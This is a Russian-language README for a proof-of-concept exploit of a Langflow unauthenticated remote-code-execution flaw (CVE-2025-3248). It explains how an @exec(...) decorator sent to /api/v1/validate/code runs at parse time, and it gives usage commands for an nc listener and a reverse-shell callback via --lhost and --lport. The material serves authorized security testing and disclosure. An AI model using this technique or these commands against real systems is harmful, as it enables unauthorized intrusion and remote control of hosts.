
Доказательство концепции эксплуатации CVE-2025-3248 — уязвимости удалённого выполнения кода без аутентификации в Langflow, демонстрирующей внедрение кода через конечную точку /api/v1/validate/code.
Proof-of-Concept эксплойт для CVE-2025-3248 — уязвимости неаутентифицированного удалённого выполнения кода в Langflow, платформе для создания рабочих процессов на базе ИИ/LLM.
Langflow предоставляет конечную точку POST /api/v1/validate/code, предназначенную для
«проверки» фрагмента Python-кода, отправляемого из пользовательского интерфейса (например,
кода пользовательских компонентов). Внутри она разбирает и компилирует код с помощью
ast.parse() / compile() и сообщает, является ли он корректным — при этом
аутентификация не требуется.
Суть ошибки: Python вычисляет выражения декораторов на этапе разбора/компиляции, до того как декорированная функция будет вызвана. Если отправленный «код для проверки» содержит декоратор вида:
@exec("...вредоносный код...")
def test():
pass
то вызов exec(...) выполняется в момент разбора кода — для проверки
фактически не требуется вызывать test(). В сочетании с отсутствием аутентификации и
песочницы одного неаутентифицированного HTTP-запроса достаточно для выполнения
произвольных команд на хосте, где запущен Langflow.
nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
Этот код предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности (лаборатории, CTF, работы с явным письменным разрешением). Не запускайте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.